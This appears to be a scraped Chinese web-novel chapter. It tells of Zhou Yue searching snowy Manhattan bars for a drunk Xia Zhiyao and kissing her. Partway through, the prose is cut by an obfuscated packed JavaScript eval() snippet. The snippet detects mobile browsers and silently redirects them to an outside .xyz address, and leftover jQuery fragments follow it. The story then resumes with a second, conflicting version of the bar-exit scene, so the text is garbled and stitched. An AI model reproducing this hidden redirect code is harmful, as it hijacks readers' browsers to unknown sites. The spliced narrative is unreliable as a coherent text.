三年后。
夜色像巨大的海潮，悄无声息地淹没了曼哈顿的街道，整座城市仿佛被一场突如其来的暴雪打磨成一块冰冷的金属，路灯的光被雪帘折射得支离破碎，斑斓而凌乱，像漂浮的梦境。
周越坐在办公室最后靠窗的工位上，落地窗外是一整片灰蓝色的夜，窗上结着细密的冰晶，远处高楼的灯光被雪帘掩映，变得模糊而遥远。
身后是投行一贯冷静而高效的节奏，键盘声、远程会议的语音、人偶尔低语交谈与咖啡机运作的轻响交织在一起，构成一个与风雪世界毫无关联的封闭舱室。
他戴着耳机，修改投资方案的批注，就在数据模型修改完毕，他准备提交时，微信界面跳出一条新消息。
夏知遥，带着加州的海水的味道，推上了沙滩，带着锋利的棱角和潮湿的旧光，周越指尖停顿了几秒，屏幕上的消息短短两行：
【我记得你在纽约呢，我今天刚到。】
【有空一起吃饭？】
语气轻巧，不带重量，像是两年未见的老朋友偶尔路过。
可他知道，不是。
他盯着那几行字，指腹贴着屏幕，心跳静了半拍，像是身体早已背叛了理智，第一时间敲下回复：
【你在哪儿？】
【今天干嘛？】
消息刚发出，手机便震了一下，像是她早就预料到他会秒回。
【住在中城区那边的希尔顿】
【没啥事，自己逛逛，随便吃点东西喝点酒。】
后面，还附带一个小猫喝酒的表情包。
周越盯着它看了很久，像是能从那个微笑里，读出她所有没说出口的事，他盯着手机，指节一点点收紧。
两年了，她终于，主动找他了，可他不知道这顿饭，是开始，还是又一次重演。
他收回视线，咬了咬牙，把手头最后一份文件校对完毕，时间已经逼近十点。
走出办公室时，整座城市已经沉入一场无声的雪夜，夜风扑面而来，卷着雪花，披头盖脸地劈下来。他一边快步往中城区方向走，一边不停打电话、发微信，一条接一条地发过去。
全部沉进无声的黑夜，微信不回，电话不接，她，像从这个世界里突然消失了一样。
曼哈顿的雪越下越大，漫天白茫茫，风卷着雪粒子呼啸着扫过街道，周越站在中城区街头，指尖冻得发僵，手机握在掌心，屏幕一片暗。
他的外套被雪水打湿，脚边是一滩一滩化开的雪泥，车灯从路口照过来，在湿滑的地面反射出一层泛白的光晕，昏黄又冰冷。
他站在那儿，像一块伫立在雪中的碑，僵着脸，喉咙发紧，脑子里只有一个念头：她到底在哪。
没有回应，无法定位，连她到底是真的醉了，还是出什么事了，他都不知道。
周越想着她最后发来的微信，说随便吃点东西喝点酒，开始一间一间地找。他把附近她提过去过的酒吧全翻了一遍，从繁华的主街一路走到更偏的小巷子，从人声鼎沸的Club到街角昏黄灯光的LiveHouse。
每走进一间，就扫一圈，没有她，就走，再去下一家。
雪越下越大，他的头发和睫毛都挂上了冰晶，手指僵硬得几乎拿不稳手机。可他一点都没停，像一个近乎疯狂的人，一遍又一遍拨打那个号码，每一次都落入忙音或无人接听的死寂里。
第一家，推门进去，一股混杂着汗味、酒味的热浪扑面而来，人群晃动着，灯光像碎成一地的琉璃，模糊了每一张脸，没有她，他只是扫了一眼，就转身冲进雪地。
外面的风雪更大了，暴风像是有意识地往他脸上劈，雪花打得眼睛几乎睁不开，湿冷的冰水沿着鬓角滑落，顺着脖颈钻进衣领，冷得像刀，一刀一刀割进骨头里。
第二家，灯光昏暗，吧台边坐着成双成对的陌生男女，舞池里的人群像失控的浪潮，空气里弥漫着香水味、劣质威士忌和青春的腥气，他走进去转了一圈，还是没有她。
心像是被猛地灌了铅，沉得几乎提不起来。他咬着牙往回走，脚步一重一重，把积雪踩出一片深痕。
第三家，门口蹲着醉汉，正抱着膝盖哼哼，旁边地上是摔碎的玻璃瓶和泥雪混合的污水，周越几乎是踹门进去的，眼神飞快地扫过每一个靠在吧台的人，每一张埋在桌上的脸，没有。
他的手指僵得握不住手机，气息因为冻伤而变得短促急迫，像是要从胸腔里一口口抽出来。
第四家，没有，第五家，还是没有。
一扇扇门被他推开，又重重带上，酒味、烟味、汗味混着冰雪的寒气一层层在他身上叠加，就像整个城市都在联合起来嘲笑他的执拗与徒劳。
他已经分不清自己是在找人，还是在被放逐，衬衫早就湿透了，西装挂满了雪水，鞋底灌满水，裤脚一层层的脏雪糊着，每走一步，都是钝钝刺入骨头的疼，可他没停过。连犹豫一秒的空隙都没有。
一条更窄的巷子尽头，一家几乎被雪埋住的小酒吧，门口没有名字，只有一盏挂在屋檐下的旧灯，灯罩斜了，光也歪斜昏黄，像是风一吹就要熄灭。
他站了一秒，抬脚，推门，门内的热浪几乎让他晕眩，混着烟雾和不知名的调酒香味，扑面而来。
他抬手遮了下眼睛，目光缓缓扫过，就在吧台尽头，一个角落的高脚椅上，他猛地停住了。
夏知遥，靠在椅背上，一动不动，肩线松垮，像是一朵落进水泥缝里的花。
她染了浅粉色的头发，披散着，眼神虚浮，连高脚杯都还握在手里，杯底只剩几滴酒，在灯光下泛着斑驳的光。
那一刻，所有奔跑、寒冷、绝望、不甘，全都沉进了他胸口一声哽咽未出的疼。
她缓缓地回过头来，看见他了，眼睛里是一片海雾般的迷茫，失焦、苍白，像是从风雪中走丢太久，终于看见了什么，却已经没力气反应。
周越站在原地，动也不动，风雪像还残存在他身上，脸上的水痕一半是雪，一半是心里的潮。
他几乎是冲过去，风雪还残存在他身上，鞋底踏在木地板上的那一瞬，发出重重一声。他跪下来，蹲在她面前，伸手握住她那只冰得几乎没有体温的手腕。
“知遥姐。”他低声唤她，嗓音干哑沙哑，像被风雪刮破过的锋面，带着深不见底的慌张和极致克制的温柔，几乎融进了周围混乱的人声里。
酒吧里灯光昏黄，像旧电影的底片，空气中弥漫着廉价的酒精、烟草和潮湿的皮革味，人影晃动，笑声、音乐声、人语声叠杂成一团，恍如另一个世界，而她，就安静地坐在这个世界的缝隙里。
她看着眼前的周越，眼神停顿了一秒，然后咧嘴，笑了，那是一个带着醉意的笑，眼尾弯弯，唇角带着酒精特有的温度，像个天真又困倦的小孩：“好巧哦……”她眨了眨眼，软声喃喃，“居然在这里，遇到你。”
周越喉结动了动，没说话。他只是伸出手，极轻极轻地替她把一缕湿漉漉的碎发别到耳后，指尖掠过她苍白的脸颊，动作温柔得像在触碰一块碎瓷。
夏知遥还在笑，手指轻轻拽住他的袖口，眼神空茫又依恋，她的身子轻微晃着，像是随时会倒下。
周越闭了闭眼，压着心底快要破口而出的情绪，嗓音低沉，几乎是一字一顿地问：“巧个屁……你知不知道我找了多少家酒吧，才找到你？”
他声音压得极低，低到几乎听不清，却带着一种锋利的疼意，像是咬碎了所有慌张、不安和怒火，连同喉头的哽咽一同咽了回去。
她抬头望着他，眼里是水雾打湿的空茫，好像听不懂，又好像根本没力气回应。周越没再说话，只是猛地将她抱进怀里，像是要把她从整个世界隔开。
他低头一瞥，桌上除了那只只剩下杯底的酒，什么都没有，没有包，没有手机，没有外套。
一股彻骨的寒意瞬间从他背脊蹿上来，像有人往他心脏上狠狠砸了一拳。他强忍着颤声，低问：“你的东西呢？外套呢？手机呢？”
夏知遥晃了晃手里的杯子，琥珀色的酒液泛着微光，轻轻荡出一圈细涟漪。她眼神空落，嘴角还带着那点没来得及收回的笑意：“丢了吧……”语气轻飘飘的，像是在说一件再平常不过的小事。
可他听着这句，却几乎无法呼吸，她已经轻到像是随时会碎了。
夏知遥低着头，手里的酒杯还晃着，像是不甘心地想再喝一口，周越一把按住她的手腕，把杯子拿了下来，放在一旁，语气低而坚定：“不喝了。”
她没反抗，只是低低“嗯”了一声，像是答应，又像只是无意识地顺从。她眼皮耷着，睫毛湿漉漉的，肩膀轻轻耸着，像风一吹就会垮下去。
周越坐在她身边，一只胳膊撑在高脚椅后背上，像护着什么易碎的东西。
他一动不动地陪着她，任她歪在自己肩头，偶尔说几句听不清的醉话。他的目光落在她的发梢、耳垂、掌心，每一寸都在提醒他，她是真的来了，真的回到了他的世界。
可这一身狼狈，让人看着就心疼，大约过了几分钟，酒意开始反扑，夏知遥的身体有些撑不住，头靠着他肩膀，晃了晃。她嘴里嘟哝一句：“回去睡觉吧……”
“好，我送你。”他起身去结账，再回头时，她正努力想从高脚椅上下来，却因为踩不稳一个趔趄，整个人朝前扑去。
“知遥！”周越动作极快地伸手接住她，怀里顿时多了一个软软的身体。她整个人跌进他怀里，额头蹭过他的下颌，冰凉得让他猛地收紧了手臂。
她没再说话，只是轻轻哼了一声，像是累极了，头靠在他胸口，身体软得毫无重量感。
“看着点，扶着我走。”他说着，低头去看她，眼里染着深夜里最沉的情绪。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669916|173106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>周越站在她身侧，肩线紧绷，手指一寸寸地收紧在掌心，像是下一秒就要绷断的弦。他嗓音低哑，几乎压在喉咙里吐出几个字：“走吧，我送你回去。”
夏知遥却没动，反而垂下眼，轻轻地笑了一下。那笑染着疲惫和酒意，尾音哑得像被风吹干的落叶：“回哪儿啊？”
她又笑了下，低头将杯中最后一点酒一饮而尽，然后转头看他。眼神里透着几分醉意，还有一点倦怠的挑衅，像是故意撞破他那层控制的壳。
周越的耐心彻底告罄，他猛地伸出手，攥住她手腕，将她半拉着从高脚椅上带起来，一边往外走，一边语气已经压不住情绪，低声咬字，一寸寸砸下来：“你知不知道我找了你多少家酒吧？”
“你说吃点东西，喝点酒就好，可你从酒店消失，电话不接，微信不回……”
他的呼吸微微发紧，喉结剧烈滚动，像是压着某种濒临崩裂的情绪：“你知不知道我以为你出事了。”
夏知遥站得有些不稳，手腕被他握着，却没有挣开。她抬眼看着他，眼里仍旧波澜不惊，只是轻轻地说：“我这不是好好的嘛？又没缺胳膊少腿，没被谁劫财劫色的。”
出了门，周越终于松开了她，额头抵着她的，呼吸还未平复，眼神却已经重新沉下来。他抬手，把自己身上的大衣脱下来，覆到她肩头。
“披上，”他低声道，语气不容置疑，“外面这么冷。”
可夏知遥只是垂着眼，没有动作。
风雪越发密了，打在她肩头、脸颊、发梢，像无数细碎的针，把那件大衣一下下逼退，她抬手，将周越的大衣拉下来，甩到地上，雪瞬间就染湿了那块深色的布料。
“我说了，我不要。”她的声音冷静得像在陈述一件极其普通的事实。
“夏知遥！”周越皱起眉，抬手想去抓她，却被她后退一步躲开。
她站进风雪里，整个人仿佛被漫天的白色吞没，黑色T恤被雪打湿，贴在身上，冻得她指尖泛白，却倔强得连眉头都没皱一下。
她忽然笑了，笑得有点疯，有点倦，有点像被压垮的骄傲撑着最后一口气。
“你知道吗？”她张开双臂，仰起头，任由雪花扑面而来，像是在迎接某种不可避免的洗礼。
“都丢了才好呢，”她的声音在雪夜里被风割成碎片，“这样我就不用再演了，不用再穿得像个人，不用再讲话像个精英，不用谁都不让失望了。”
“都丢了……就没人认识我了。”
周越怔住了，心像被人攥住，疼得呼吸都停了一瞬，下一秒，他弯身去捡起那件已经沾满雪水的大衣，来不及拍干，便冲过去，将夏知遥整个人紧紧抱进怀里，大衣裹住她，像是把她从整座风雪里抢回来一样。
“你别闹了，”他喉咙发紧，语气几乎是哀求，“这么冷的天再把你冻发烧。”
她被他抱在怀里，还在微微挣着，嘴里嘀咕着：“你走开，别管我……”
可他抱得更紧了，像要把她整个生命都护进骨头里。他低头贴着她的额头，声音哑得几乎听不清：“你怎么变成这样了？”
夏知遥忽然抱住了他，像一块骤然贴上的冰，冻得他全身一僵，她的额头靠在他肩窝，指尖死死抓着他背后的衣料，像是拼尽了最后一丝力气才撑着不垮掉。
雪水从她发梢滴落，打湿了他的领口，带着酒精的甜味和隐忍的颤抖，一点点侵蚀他的神经。
周越站在那里，浑身紧绷得几乎动弹不得，双手僵在空中，却在一秒后狠狠收紧，将她紧紧箍住。
他低下头，看着怀里的人，她睫毛上挂着未化的雪珠，脸颊因风雪染上一层淡粉，唇色苍白，鼻尖冰凉，眼神却带着某种湿润而清醒的迷离，像是刚从梦里挣脱出来，又像还没醒。
她的气息轻轻打在他颈侧，带着一丝微醺的甜与无处安放的委屈，轻到几乎像梦。
那一瞬间，他最后一丝自持，彻底崩塌，他低头，双手捧住她的脸，毫无预兆地吻了下去。
这是一场汹涌而至的失控，一次从时间深处卷来的倾泻与疯长，他的吻是野蛮的，带着夜雪的寒意与喉间翻滚的炽热，像是想把三年间积攒的思念和不甘，一口气灌进她的骨头里。
他的呼吸急促，力道几乎带了些惩罚的意味，却又带着将她牢牢嵌进心脏的热烈。
夏知遥像被卷进了一场风暴，眼神在短暂的迷蒙后逐渐变得清明，指尖蜷在他颈后，扣得用力，回应着他撕裂理智的亲吻。
两人靠得太近，几乎贴进彼此的灵魂，良久，周越终于松开她，喘息着抵住她额头，嗓音低哑到极致：“你跟我回家吧。”他声音轻，却带着一往无前的坚定，像是穿越千山万水后唯一的落点。
夏知遥没有说话，只是看着他，眼眶微红，呼吸尚未平稳，像是终于在漫长风雪之后，找到了可以停靠的地方。